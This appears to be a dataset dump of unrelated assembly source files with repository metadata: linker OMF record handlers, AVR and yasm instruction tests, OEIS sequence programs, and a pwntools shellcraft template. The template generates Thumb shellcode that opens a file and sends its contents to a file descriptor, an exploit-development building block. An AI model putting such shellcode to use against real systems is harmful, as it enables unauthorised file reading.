INC ESI
CMP EBX,8
JAE BAD_OMF_EXTENT
JMP OMF_EXTENT_TABLE[EBX*4]
BAD_OMF_EXTENT::
MOV AL,BAD_OMF_EXTENT_ERR
push EAX
call _err_abort
YES_OMF_EXTENT ENDP
YES_IMPORT PROC
if fg_segm
;
;01 ;1 MEANS IMPORT, 2 MEANS EXPORT (FROM C5.1????)
;01 ;1 MEANS ORDINAL, 0 MEANS BY NAME
;STRING ;THIS IS THE SYMBOL NAME
;STRING ;THIS IS THE LIBRARY NAME
;IF ORDINAL, THIS IS THE ORDINAL #
;
RESS IMP_BY_NAME,BH
MOV AL,[ESI]
INC ESI
TEST AL,AL
JNZ L1$
SETT IMP_BY_NAME
L1$:
MOV EDI,OFF IMPEXP_INTNAM ;GET INTERNAL NAME
CALL GET_NAME_HASH_DI
MOV EDI,OFF IMPEXP_MOD ;GET MODULE NAME
CALL GET_NAME_HASH_DI
XOR EAX,EAX
BITT IMP_BY_NAME,AL
JNZ L3$
MOV DPTR IMPEXP_NAM+4,EAX
MOV AX,[ESI]
ADD ESI,2
L2$:
MOV ECX,END_OF_RECORD
MOV IMP_ORDNUM,EAX ;STORE IMPORT #
CMP ECX,ESI
JNZ L21$
L25$:
BITT FORCE_DOS_MODE
JNZ L9$
CALL DEFINE_IMPORT
;
CALL SELECT_OUTPUT_SEGMENTED_OR_PE
RET
L3$:
MOV EDI,OFF IMPEXP_NAM ;GET EXTERNAL NAME
CALL GET_NAME_HASH_DI
XOR EAX,EAX ;MAKE SURE HINT IS 0
JMP L2$
L21$:
MOV AL,[ESI] ;SKIP EXTRA ZERO FOR BORLAND
INC ESI
TEST AL,AL
JNZ EXP_ERROR
CMP ECX,ESI
JZ L25$
EXP_ERROR:
CALL OBJ_PHASE
JMP L25$
endif
L9$:
MOV AL,NO_IMPORTS_ERR
CALL ERR_RET
RET
YES_IMPORT ENDP
YES_INCDEF PROC
;
;
;
XOR EAX,EAX
XOR EBX,EBX
MOV AX,[ESI]
MOV BX,[ESI+2]
ADD EXTDEF_DELTA,EAX
ADD LINNUM_DELTA,EBX
RET
YES_INCDEF ENDP
YES_PMLIB PROC
;
; SOMETHING ABOUT LINK386 DLL LOADDS
;
SETT PMLIB_FLAG
RET
YES_PMLIB ENDP
YES_LNKDIR PROC
;
;C++ DIRECTIVE
;
;FLAGS 1 BYTE
;PCODE VERSION 1 BYTE
;CV VERSION 1 BYTE
;
LNKDIR_REC RECORD LNKDIR_JUNK:5,LNKDIR_RUN_MPC:1,LNKDIR_OMIT_PUBLICS:1,LNKDIR_NEW_EXE:1
;
MOV AL,[ESI]
MOV BL,-1
MOV LNKDIR_FLAGS,AL
TEST AL,MASK LNKDIR_NEW_EXE
JZ L1$
SETT PCODE_NEW_EXE,BL
BITT OUTPUT_SEGMENTED,BH
JNZ L1$
if fg_pe
BITT OUTPUT_PE,BH
JNZ L1$
endif
MOV EXETYPE_FLAG,DOS4_SEGM_TYPE
CALL SELECT_OUTPUT_SEGMENTED_OR_PE
L1$:
TEST AL,MASK LNKDIR_OMIT_PUBLICS
JZ L2$
SETT PCODE_OMIT_PUBLICS,BL
L2$:
TEST AL,MASK LNKDIR_RUN_MPC
JZ L3$
SETT PCODE_RUN_MPC,BL
L3$:
XOR EAX,EAX
MOV AX,[ESI+1]
SETT LNKDIR_FLAG,BL ;LNKDIR DONE
MOV LNKDIR_PCODE_CV,EAX
RET
YES_LNKDIR ENDP
YES_BIG_ENDIAN PROC
;
;HMM...
;
SETT BIG_ENDIAN_FLAG
RET
YES_BIG_ENDIAN ENDP
YES_PCH PROC
;
;THIS FILE CONTAINS PRECOMPILED HEADER CODEVIEW INFO
;
SETT PCH_HERE
RET
YES_PCH ENDP
YES_EXPORT PROC
;
;
;
if fg_segm OR fg_pe
MOV AL,[ESI]
INC ESI
MOV CH,AL
AND AL,1FH
SHRI CH,5
MOV EXP_PWORDS,AL ;# OF PARAMETER WORDS
MOV EDI,OFF IMPEXP_NAM
MOV EXP_FLAGS,CH
;RESIDENT_NAME, NODATA, ORD
CALL GET_NAME_HASH_DI ;GET EXPORTED NAME
MOV EDI,OFF IMPEXP_INTNAM
CALL GET_NAME_HASH_DI ;INTERNAL NAME IF DIFFERENT
MOV AL,EXP_FLAGS
XOR ECX,ECX
TEST AL,MASK ENT_ORD_SPECIFIED;ORDINAL SPECIFIED?
JZ L1$
MOV CX,[ESI]
ADD ESI,2
L1$:
MOV EAX,END_OF_RECORD
MOV EXP_ORDNUM,ECX
CMP EAX,ESI
JNZ L19$
L2$:
BITT FORCE_DOS_MODE
JNZ L9$
;
;IF BOTH NAMES PROVIDED, MARK USE_EXTNAM
;
MOV EAX,IMPEXP_INTNAM+4
MOV ECX,IMPEXP_NAM+4
TEST EAX,EAX
JZ L3$
TEST ECX,ECX
JZ L3$
OR EXP_FLAGS,MASK ENT_USE_EXTNAM
JMP L5$
L3$:
if fg_pe
;Bugzilla 3956
;IF (OUTPUT_PE || !OUTPUT_SEGMENTED && ANY_USE32)
;
BITT OUTPUT_PE
JNZ L4$
BITT OUTPUT_SEGMENTED
JNZ L5$
BITT ANY_USE32
JZ L5$
L4$:
CALL TWEAK_EXPORT_NAMES
endif
L5$:
CALL DEFINE_EXPORT
CALL SELECT_OUTPUT_SEGMENTED_OR_PE
L9$:
RET
L19$:
CALL OBJ_PHASE
JMP L2$
else
MOV AL,NO_IMPORTS_ERR
push EAX
call _err_abort
endif
YES_EXPORT ENDP
if fg_pe
TWEAK_EXPORT_NAMES PROC
;
;IF IMPEXP_INTNAM IS NULL, COPY IMPEXP_NAM
;
PUSHM EDI,ESI,EBX
MOV EAX,IMPEXP_INTNAM+4
TEST EAX,EAX
JNZ L1$
MOV ECX,IMPEXP_NAM+4
MOV EDI,OFF IMPEXP_INTNAM
ADD ECX,11
MOV ESI,OFF IMPEXP_NAM
SHR ECX,2
REP MOVSD
L1$:
;
;IF A LEADING UNDERSCORE, AND NO '@', STRIP LEADING '_'
;
MOV AL,BPTR IMPEXP_NAM+8
MOV EDI,OFF IMPEXP_NAM+8
CMP AL,'_'
JNZ L9$
MOV ECX,IMPEXP_NAM+4 ;LENGTH
MOV AL,'@'
REPNE SCASB
MOV ECX,IMPEXP_NAM+4
JZ L9$
MOV ESI,OFF IMPEXP_NAM+8+1
MOV EDI,OFF IMPEXP_NAM+8
REP MOVSB
L9$:
POPM EBX,ESI,EDI
RET
TWEAK_EXPORT_NAMES ENDP
endif
if fg_segm OR fg_pe
GET_NAME_HASH_DI PROC NEAR
;
;THIS NO LONGER DOES CONVERSION OR HASHING, ITS DONE LATER...
;
GET_OMF_NAME_LENGTH ;LODSB ;LENGTH
XOR EDX,EDX
MOV ECX,EAX
MOV [EDI],EDX
MOV [EDI+4],EAX
ADD EDI,8
REP MOVSB ;STRING
MOV [EDI],ECX ;ZEROS AT END
RET
GET_NAME_HASH_DI ENDP
endif
if fg_segm OR fg_pe
SELECT_OUTPUT_SEGMENTED_OR_PE PROC NEAR
;
;
;
if fg_segm AND fg_pe
GETT AL,OUTPUT_SEGMENTED
GETT CL,OUTPUT_PE
OR AL,CL
JZ L1$
RET
L1$:
BITT ANY_USE32
JNZ L3$
CALL SELECT_OUTPUT_SEGMENTED
RET
L3$:
CALL SELECT_OUTPUT_PE
elseif fg_segm
CALL SELECT_OUTPUT_SEGMENTED
else
CALL SELECT_OUTPUT_PE
endif
L9$:
RET
SELECT_OUTPUT_SEGMENTED_OR_PE ENDP
endif
YES_EXESTR PROC
;
;TACK THIS STRING ON END OF EXE FILE...
;
MOV ECX,END_OF_RECORD
MOV EAX,ESI
SUB ECX,ESI
JBE L9$
MOV EDX,OFF EXESTR_STRUCTURE
CALL STORE_EAXECX_EDX_SEQ
CMP EXESTR_STRUCTURE._SEQ_PTR,1024K ;1 Mb LIMIT
JAE L5$
L9$:
RET
L5$:
MOV AL,EXESTR_ERR
push EAX
call _err_abort
YES_EXESTR ENDP
YES_INCERR::
MOV AL,INCERR_ERR
push EAX
call _err_abort
YES_WKEXT1 PROC
;
;
;
;REPEAT
;INDEX OF WEAK EXTERNAL
;INDEX OF DEFAULT RESOLUTION
;
;WEAK EXTERNALS DO NOT CAUSE LIBRARY SEARCHES, THOUGH WE MAY SEARCH FOR THE 'DEFAULT'
;THESE MAY LATER BECOME REAL EXTERNS, SO NEED TO SAVE LIBRARY REFERENCE STUFF
;
;(IN NEW TECHNOLOGY, CALL THEM 'PROMISED'???
;
DOLONG A
DOLONG B
L1$:
NEXT_INDEX A ;WEAK SYMBOL
ADD EAX,EXTDEF_DELTA
CONVERT_LINDEX_EAX_EAX SYMBOL_LARRAY,EDI
MOV ECX,EAX
NEXT_INDEX B ;DEFAULT SYMBOL
ADD EAX,EXTDEF_DELTA
PUSH ESI
CONVERT_LINDEX_EAX_EAX SYMBOL_LARRAY,EDI
MOV EDX,EAX
CONVERT ESI,ECX,SYMBOL_GARRAY
ASSUME ESI:PTR SYMBOL_STRUCT
XOR EBX,EBX
CONVERT EDI,EAX,SYMBOL_GARRAY
ASSUME EDI:PTR SYMBOL_STRUCT
MOV BL,[ESI]._S_NSYM_TYPE
OR [EDI]._S_REF_FLAGS,MASK S_SOFT_REF ;MAKE DEFAULT A SOFT REFERENCE FROM THIS MODULE...
;
; IF DEFINED OR ALREADY A REFERENCED EXTERNAL OR REFERENCED LIBRARY ITEM
;IGNORE IT.
;
;ALL I CARE ABOUT ARE: NSYM_UNDEFINED, NSYM_LIBRARY, NSYM_WEAK_EXTRN
;
JMP WEAK_TABLE[EBX*2]
WT_WEAK:
;
;ALREADY WEAK, MAKE SURE DEFAULT SYMBOL MATCHES
;
CMP [ESI]._S_WEAK_DEFAULT_GINDEX,EDX
JNZ L5$
OR [ESI]._S_REF_FLAGS,MASK S_WEAK_AGAIN
JMP L7$
L5$:
MOV AL,WEAK_DEF_ERR
CALL ERR_RET
JMP L7$
WT_LIBRARY:
WT_UNDEFINED:
;
;MARK THIS AS POSSIBLE WEAK-LIST ITEM
;
MOV [ESI]._S_WEAK_DEFAULT_GINDEX,EDX
MOV [ESI]._S_NSYM_TYPE,NSYM_POS_WEAK
L7$:
POP ESI
YES_WKEXT::
CMP END_OF_RECORD,ESI
JA L1$
JNZ ERROR
RET
ERROR:
CALL OBJ_PHASE
RET
.CONST
ALIGN 4
WEAK_TABLE LABEL DWORD
DD WT_UNDEFINED ;MARK THIS AS POS_WEAK, LINK TO DEFAULT
DD L7$ ;IGNORE ASEG
DD L7$ ;IGNORE RELOCATABLE
DD L7$ ;IGNORE NEAR COMMUNAL
DD L7$ ;IGNORE FAR COMMUNAL
DD L7$ ;IGNORE HUGE_COMMUNAL
DD L7$ ;IGNORE CONST
DD WT_LIBRARY ;MARK THIS AS POS_WEAK, LINK TO DEFAULT
DD L7$ ;IGNORE IMPORTS
DD L7$ ;IGNORE PROMISED
DD L7$ ;IGNORE ALREADY REFERENCED AS REAL EXTERNAL
DD WT_WEAK ;ALREADY WEAK, FLAG IT WEAK AGAIN
DD L5$ ;ERROR ALREADY LISTED AS POS_WEAK
DD L7$ ;IGNORE REFERENCED LIBRARY SYMBOL
DD L5$ ;CANNOT WEAK REFERENCE
DD L7$ ;IGNORE ALIASED TO SOMETHING ELSE
DD L7$ ;IGNORE COMDAT
DD WT_WEAK ;ALREADY WEAK-DEFINED, FLAG IT WEAK AGAIN
DD WT_WEAK ;WEAK-UNREF, FLAG IT WEAK AGAIN
DD L7$ ;ALIASED-UNREF, IGNORE
DD L5$ ;POS-LAZY, ERROR
DD WT_WEAK ;LAZY, FLAG IT WEAK AGAIN
DD WT_WEAK ;LAZY-UNREF, FLAG IT WEAK AGAIN
DD L7$ ;ALIAS-DEFINED, IGNORE
DD WT_WEAK ;LAZY-DEFINED, FLAG IT WEAK AGAIN
DD L7$ ;NCOMM-UNREF, IGNORE
DD L7$ ;FCOMM-UNREF, IGNORE
DD L7$ ;HCOMM_UNREF, IGNORE
DD L7$ ;ALREADY REFERENCED, IGNORE
DD L7$ ;UNDECORATED, IGNORE
.ERRNZ ($-WEAK_TABLE)-NSYM_SIZE*2
.CODE PASS1_TEXT
YES_WKEXT1 ENDP
YES_PHARLAP PROC
;
;IF '80386' IS STRING, SET THIS MODULE FOR PHARLAP SUPPORT
;
MOV EAX,DPTR [ESI]
ADD ESI,4
CMP EAX,'8308'
JNZ L9$
MOV AL,BYTE PTR[ESI]
CMP AL,'6'
JNZ L9$
MOV DEFAULT_SIZE,MASK BIT_32
L9$:
RET
YES_PHARLAP ENDP
YES_LZEXT1 PROC
;
;LIKE WEAK, EXCEPT DOES LIBRARY SEARCH FOR ME, USES DEFAULT AS LAST RESORT
;
DOLONG A
DOLONG B
L1$:
NEXT_INDEX A ;LAZY SYMBOL
ADD EAX,EXTDEF_DELTA
CONVERT_LINDEX_EAX_EAX SYMBOL_LARRAY,EDI
MOV ECX,EAX
NEXT_INDEX B ;DEFAULT SYMBOL
ADD EAX,EXTDEF_DELTA
PUSH ESI
CONVERT_LINDEX_EAX_EAX SYMBOL_LARRAY,EDI
MOV EDX,EAX
CONVERT ESI,ECX,SYMBOL_GARRAY
ASSUME ESI:PTR SYMBOL_STRUCT
XOR EBX,EBX
CONVERT EDI,EAX,SYMBOL_GARRAY
ASSUME EDI:PTR SYMBOL_STRUCT
MOV BL,[ESI]._S_NSYM_TYPE
OR [EDI]._S_REF_FLAGS,MASK S_SOFT_REF ;MAKE DEFAULT A SOFT REFERENCE FROM THIS MODULE...
;
JMP LAZY_TABLE[EBX*2]
LZ_UNDEFINED:
;
;MARK THIS AS POSSIBLE WEAK-LIST ITEM
;
MOV [ESI]._S_LAZY_DEFAULT_GINDEX,EDX
MOV [ESI]._S_NSYM_TYPE,NSYM_POS_LAZY
L7$:
POP ESI
YES_LZEXT::
CMP END_OF_RECORD,ESI
JA L1$
JNZ ERROR1
RET
ERROR1:
CALL OBJ_PHASE
RET
LZ_WEAK_DEFINED:
PUSH EDX ;SAVE DEFAULT GINDEX
MOV EAX,ECX
MOV ECX,ESI
CALL REMOVE_FROM_WEAK_DEFINED_LIST
POP EDX
MOV ESI,ECX
JMP LZ_UNDEFINED
LZ_WEAK:
;
;WEAK, LAZY OVERIDES THIS...
;
PUSH EDX
MOV EAX,ECX
MOV ECX,ESI
CALL REMOVE_FROM_WEAK_LIST
POP EDX
MOV ESI,ECX
JMP LZ_UNDEFINED
LZ_LAZY:
;
;ALREADY LAZY, MAKE SURE DEFAULT SYMBOL MATCHES
;
CMP [ESI]._S_LAZY_DEFAULT_GINDEX,EDX
JNZ L5$
OR [ESI]._S_REF_FLAGS,MASK S_WEAK_AGAIN
JMP L7$
L5$:
MOV AL,WEAK_DEF_ERR
CALL ERR_RET
JMP L7$
.CONST
ALIGN 4
LAZY_TABLE LABEL DWORD
DD LZ_UNDEFINED ;MARK THIS AS POS_LAZY, LINK TO DEFAULT
DD L7$ ;IGNORE ASEG
DD L7$ ;IGNORE RELOCATABLE
DD L7$ ;IGNORE NEAR COMMUNAL
DD L7$ ;IGNORE FAR COMMUNAL
DD L7$ ;IGNORE HUGE COMMUNAL
DD L7$ ;IGNORE CONST
DD L7$ ;IGNORE IN LIBRARY
DD L7$ ;IGNORE IMPORTS
DD L7$ ;IGNORE PROMISED
DD L7$ ;IGNORE ALREADY REFERENCED AS REAL EXTERNAL
DD LZ_WEAK ;ALREADY REFERENCED WEAK, MAKE IT LAZY
DD L5$ ;ERROR ALREADY LISTED AS POS_WEAK
DD L7$ ;IGNORE REFERENCED LIBRARY SYMBOL
DD L5$ ;__imp__UNREF, CANNOT LAZY REFERENCE
DD L7$ ;IGNORE, ALIASED TO SOMETHING ELSE
DD L7$ ;IGNORE COMDAT
DD LZ_WEAK_DEFINED ;WEAK-DEFINED, MAKE IT LAZY
DD LZ_UNDEFINED ;UNREFERENCED WEAK, MARK IT POS_LAZY
DD L7$ ;UNREFERENCED ALIAS, IGNORE
DD L5$ ;ALREADY POS_LAZY, ERROR
DD LZ_LAZY ;ALREADY LAZY, MARK IT LAZY AGAIN
DD LZ_LAZY ;ALREADY UNREF_LAZY, MARK IT LAZY AGAIN
DD L7$ ;ALIAS-DEFINED, IGNORE
DD LZ_LAZY ;LAZY-DEFINED, MARK IT LAZY AGAIN
DD L7$ ;NCOMM-UNREF, IGNORE
DD L7$ ;FCOMM-UNREF, IGNORE
DD L7$ ;HCOMM-UNREF, IGNORE
DD L7$ ;__imp__, IGNORE
DD L7$ ;UNDECORATED, IGNORE
.ERRNZ ($-LAZY_TABLE)-NSYM_SIZE*2
.CODE PASS1_TEXT
YES_LZEXT1 ENDP
END
| 18.775916 | 107 | 0.733701 |
453c82045119da6cfca21bec47e70828426c3931 | 628 | asm | Assembly | pwnlib/shellcraft/templates/thumb/linux/cat.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 325 | 2016-01-25T08:38:06.000Z | 2022-03-30T14:31:50.000Z | pwnlib/shellcraft/templates/thumb/linux/cat.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 8 | 2016-08-23T10:15:27.000Z | 2019-01-16T02:49:34.000Z | pwnlib/shellcraft/templates/thumb/linux/cat.asm | IMULMUL/python3-pwntools | 61210a68cd88e9084c72292d3119c38c44f07966 | [
"MIT"
] | 71 | 2016-07-13T10:03:52.000Z | 2022-01-10T11:57:34.000Z | <%
from pwnlib import constants
from pwnlib.shellcraft import thumb
from pwnlib.shellcraft import common
%>
<%page args="filename, fd=1"/>
<%docstring>
Opens a file and writes its contents to the specified file descriptor.
Example:
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb() + shellcraft.thumb.linux.cat(f)).recvline()
b'FLAG\n'
</%docstring>
<%
label = common.label("sendfile_loop")
%>
${thumb.pushstr(filename)}
${thumb.linux.open('sp', 0, constants.O_RDONLY)}
${thumb.mov('r5', 'r0')}
${thumb.linux.sendfile(fd, 'r5', 0, 0x7fffffff)}
| 24.153846 | 90 | 0.660828 |
2bccfb560a4586b58ef63ba911d64d9955328817 | 4,330 | asm | Assembly | sim/asm/fn60.asm | nanamake/avr_cpu | b557e64f471bbcabe7ef104e24ae9b3024cddcba | [
"MIT"
] | 2 | 2021-01-21T01:36:26.000Z | 2022-03-30T21:01:04.000Z | sim/asm/fn60.asm | nanamake/avr_cpu | b557e64f471bbcabe7ef104e24ae9b3024cddcba | [
"MIT"
] | null | null | null | sim/asm/fn60.asm | nanamake/avr_cpu | b557e64f471bbcabe7ef104e24ae9b3024cddcba | [
"MIT"
] | 1 | 2020-03-05T06:04:24.000Z | 2020-03-05T06:04:24.000Z | ;-------------------
; test for add/sreg
;-------------------
.equ sreg = 0x3f
;-------------------
ldi r16,0x00
ldi r24,0x40
mov r7 ,r16
mov r8 ,r24
ldi r16,0x80
ldi r24,0xc0
ldi r17,0x28
ldi r25,0x5f
mov r6 ,r17
mov r9 ,r25
ldi r17,0xa8
ldi r25,0xdf
;-------------------
mov r5 ,r7
add r5 ,r7
in r5 ,sreg
mov r4 ,r8
add r4 ,r6
in r4 ,sreg
mov r3 ,r8
add r3 ,r9
in r3 ,sreg
mov r2 ,r8
add r2 ,r24
in r2 ,sreg
mov r1 ,r8
add r1 ,r25
in r1 ,sreg
mov r0 ,r8
add r0 ,r17
in r0 ,sreg
mov r10,r24
add r10,r8
in r10,sreg
mov r11,r25
add r11,r9
in r11,sreg
mov r12,r17
add r12,r6
in r12,sreg
mov r13,r16
add r13,r16
in r13,sreg
mov r14,r17
add r14,r24
in r14,sreg
mov r15,r25
add r15,r24
in r15,sreg
;-------------------
clc
mov r18,r7
adc r18,r7
in r18,sreg
mov r19,r8
adc r19,r6
in r19,sreg
mov r20,r8
adc r20,r9
in r20,sreg
mov r21,r8
adc r21,r24
in r21,sreg
mov r22,r8
adc r22,r25
in r22,sreg
mov r23,r8
adc r23,r17
in r23,sreg
mov r26,r24
adc r26,r8
in r26,sreg
mov r27,r25
adc r27,r9
in r27,sreg
mov r28,r17
adc r28,r6
in r28,sreg
mov r29,r16
adc r29,r16
in r29,sreg
mov r30,r17
adc r30,r24
in r30,sreg
mov r31,r25
adc r31,r24
in r31,sreg
;-------------------
sts 0x0100,r7 ; (ldi) 0x00
sts 0x0101,r7 ; (ldi) 0x00
sts 0x0102,r5 ; (add) 0x00 0x00 (cf=0) ----z-
sts 0x0103,r18 ; (adc) 0x00 0x00 (cf=0) ----z-
sts 0x0104,r8 ; (ldi) 0x40
sts 0x0105,r6 ; (ldi) 0x28
sts 0x0106,r4 ; (add) 0x40 0x28 (cf=0) ------
sts 0x0107,r19 ; (adc) 0x40 0x28 (cf=0) ------
sts 0x0108,r8 ; (ldi) 0x40
sts 0x0109,r9 ; (ldi) 0x5f
sts 0x010a,r3 ; (add) 0x40 0x5f (cf=0) --vn--
sts 0x010b,r20 ; (adc) 0x40 0x5f (cf=0) --vn--
;-------------------
sts 0x0110,r8 ; (ldi) 0x40
sts 0x0111,r24 ; (ldi) 0xc0
sts 0x0112,r2 ; (add) 0x40 0xc0 (cf=0) ----zc
sts 0x0113,r21 ; (adc) 0x40 0xc0 (cf=0) ----zc
sts 0x0114,r8 ; (ldi) 0x40
sts 0x0115,r25 ; (ldi) 0xdf
sts 0x0116,r1 ; (add) 0x40 0xdf (cf=1) -----c
sts 0x0117,r22 ; (adc) 0x40 0xdf (cf=1) h----c
sts 0x0118,r8 ; (ldi) 0x40
sts 0x0119,r17 ; (ldi) 0xa8
sts 0x011a,r0 ; (add) 0x40 0xa8 (cf=1) -s-n--
sts 0x011b,r23 ; (adc) 0x40 0xa8 (cf=1) -s-n--
;-------------------
sts 0x0120,r24 ; (ldi) 0xc0
sts 0x0121,r8 ; (ldi) 0x40
sts 0x0122,r10 ; (add) 0xc0 0x40 (cf=0) ----zc
sts 0x0123,r26 ; (adc) 0xc0 0x40 (cf=0) ----zc
sts 0x0124,r25 ; (ldi) 0xdf
sts 0x0125,r9 ; (ldi) 0x5f
sts 0x0126,r11 ; (add) 0xdf 0x5f (cf=1) h----c
sts 0x0127,r27 ; (adc) 0xdf 0x5f (cf=1) h----c
sts 0x0128,r17 ; (ldi) 0xa8
sts 0x0129,r6 ; (ldi) 0x28
sts 0x012a,r12 ; (add) 0xa8 0x28 (cf=1) hs-n--
sts 0x012b,r28 ; (adc) 0xa8 0x28 (cf=1) hs-n--
;-------------------
sts 0x0130,r16 ; (ldi) 0x80
sts 0x0131,r16 ; (ldi) 0x80
sts 0x0132,r13 ; (add) 0x80 0x80 (cf=0) -sv-zc
sts 0x0133,r29 ; (adc) 0x80 0x80 (cf=0) -sv-zc
sts 0x0134,r17 ; (ldi) 0xa8
sts 0x0135,r24 ; (ldi) 0xc0
sts 0x0136,r14 ; (add) 0xa8 0xc0 (cf=1) -sv--c
sts 0x0137,r30 ; (adc) 0xa8 0xc0 (cf=1) -sv--c
sts 0x0138,r25 ; (ldi) 0xdf
sts 0x0139,r24 ; (ldi) 0xc0
sts 0x013a,r15 ; (add) 0xdf 0xc0 (cf=1) -s-n-c
sts 0x013b,r31 ; (adc) 0xdf 0xc0 (cf=1) hs-n-c
;-------------------
ldi r16,0xff
out sreg,r16
mov r4 ,r8
add r4 ,r6
in r4 ,sreg
out sreg,r16
mov r19,r8
adc r19,r6
in r19,sreg
sts 0x010c,r8 ; (ldi) 0x40
sts 0x010d,r6 ; (ldi) 0x28
sts 0x010e,r4 ; (add) 0x40 0x28 (cf=1) it------
sts 0x010f,r19 ; (adc) 0x40 0x28 (cf=1) it------
sts 0xffff,r16
halt:
rjmp halt
| 23.922652 | 57 | 0.473903 |
e8400702c2b1afd0db260b726fd32087170ec974 | 793 | asm | Assembly | programs/oeis/133/A133585.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/133/A133585.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/133/A133585.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A133585: Expansion of x - x^2*(2*x+1)*(x^2-2) / ( (x^2-x-1)*(x^2+x-1) ).
; 1,2,4,5,10,13,26,34,68,89,178,233,466,610,1220,1597,3194,4181,8362,10946,21892,28657,57314,75025,150050,196418,392836,514229,1028458,1346269,2692538,3524578,7049156,9227465,18454930,24157817
mov $31,$0
mov $33,$0
add $33,1
lpb $33
mov $0,$31
sub $33,1
sub $0,$33
mov $27,$0
mov $29,2
lpb $29
clr $0,27
mov $0,$27
sub $29,1
add $0,$29
sub $0,1
add $2,3
div $2,2
lpb $0
sub $0,1
mov $1,$0
cal $1,133586 ; Expansion of x*(1+2*x)/( (x^2-x-1)*(x^2+x-1) ).
sub $0,1
add $2,$1
lpe
mov $1,$2
mov $30,$29
lpb $30
mov $28,$1
sub $30,1
lpe
lpe
lpb $27
mov $27,1
sub $28,$1
lpe
add $32,$28
lpe
mov $1,$32
| 18.880952 | 192 | 0.527112 |
721675893230b25b49d0723b1c771e43795c4033 | 207 | asm | Assembly | yasm-1.3.0/modules/arch/x86/tests/avx16.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | third_party/yasm/source/patched-yasm/modules/arch/x86/tests/avx16.asm | cangulcan/src | 2b8388091c71e442910a21ada3d97ae8bc1845d3 | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | third_party/yasm/source/patched-yasm/modules/arch/x86/tests/avx16.asm | cangulcan/src | 2b8388091c71e442910a21ada3d97ae8bc1845d3 | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | [bits 16]
extractps eax, xmm1, 5
vextractps eax, xmm1, 5
pextrb eax, xmm1, 5
vpextrb eax, xmm1, 5
pextrw eax, xmm1, 5
vpextrw eax, xmm1, 5
pextrd eax, xmm1, 5
vpextrd eax, xmm1, 5
vpinsrd xmm1, xmm2, eax, 5
| 18.818182 | 26 | 0.710145 |
78c4cdeeadb00fef58195e8d2a3dbb4313589798 | 1,997 | asm | Assembly | programs/oeis/143/A143941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/143/A143941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/143/A143941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A143941: The Wiener index of a chain of n triangles (i.e., joined like VVV..VV; here V is a triangle!).
; 3,14,37,76,135,218,329,472,651,870,1133,1444,1807,2226,2705,3248,3859,4542,5301,6140,7063,8074,9177,10376,11675,13078,14589,16212,17951,19810,21793,23904,26147,28526,31045,33708,36519,39482,42601,45880,49323,52934,56717,60676,64815,69138,73649,78352,83251,88350,93653,99164,104887,110826,116985,123368,129979,136822,143901,151220,158783,166594,174657,182976,191555,200398,209509,218892,228551,238490,248713,259224,270027,281126,292525,304228,316239,328562,341201,354160,367443,381054,394997,409276,423895,438858,454169,469832,485851,502230,518973,536084,553567,571426,589665,608288,627299,646702,666501,686700,707303,728314,749737,771576,793835,816518,839629,863172,887151,911570,936433,961744,987507,1013726,1040405,1067548,1095159,1123242,1151801,1180840,1210363,1240374,1270877,1301876,1333375,1365378,1397889,1430912,1464451,1498510,1533093,1568204,1603847,1640026,1676745,1714008,1751819,1790182,1829101,1868580,1908623,1949234,1990417,2032176,2074515,2117438,2160949,2205052,2249751,2295050,2340953,2387464,2434587,2482326,2530685,2579668,2629279,2679522,2730401,2781920,2834083,2886894,2940357,2994476,3049255,3104698,3160809,3217592,3275051,3333190,3392013,3451524,3511727,3572626,3634225,3696528,3759539,3823262,3887701,3952860,4018743,4085354,4152697,4220776,4289595,4359158,4429469,4500532,4572351,4644930,4718273,4792384,4867267,4942926,5019365,5096588,5174599,5253402,5333001,5413400,5494603,5576614,5659437,5743076,5827535,5912818,5998929,6085872,6173651,6262270,6351733,6442044,6533207,6625226,6718105,6811848,6906459,7001942,7098301,7195540,7293663,7392674,7492577,7593376,7695075,7797678,7901189,8005612,8110951,8217210,8324393,8432504,8541547,8651526,8762445,8874308,8987119,9100882,9215601,9331280,9447923,9565534,9684117,9803676,9924215,10045738,10168249,10291752,10416251,10541750
mul $0,2
add $0,4
mov $1,$0
pow $0,2
sub $0,10
mul $0,$1
mov $1,$0
div $1,12
add $1,1
| 153.615385 | 1,803 | 0.837757 |
b4462fc2aa72bd552e38fa1ae6a3686f14bf6835 | 5,978 | asm | Assembly | examples/pxScene2d/external/libnode-v6.9.0/deps/openssl/asm_obsolete/x86-win32-masm/x86cpuid.asm | madanagopaltcomcast/pxCore | c4a3a40a190521c8b6383d126c87612eca5b3c42 | [
"Apache-2.0"
] | 5,964 | 2016-09-27T03:46:29.000Z | 2022-03-31T16:25:27.000Z | examples/pxScene2d/external/libnode-v6.9.0/deps/openssl/asm_obsolete/x86-win32-masm/x86cpuid.asm | madanagopaltcomcast/pxCore | c4a3a40a190521c8b6383d126c87612eca5b3c42 | [
"Apache-2.0"
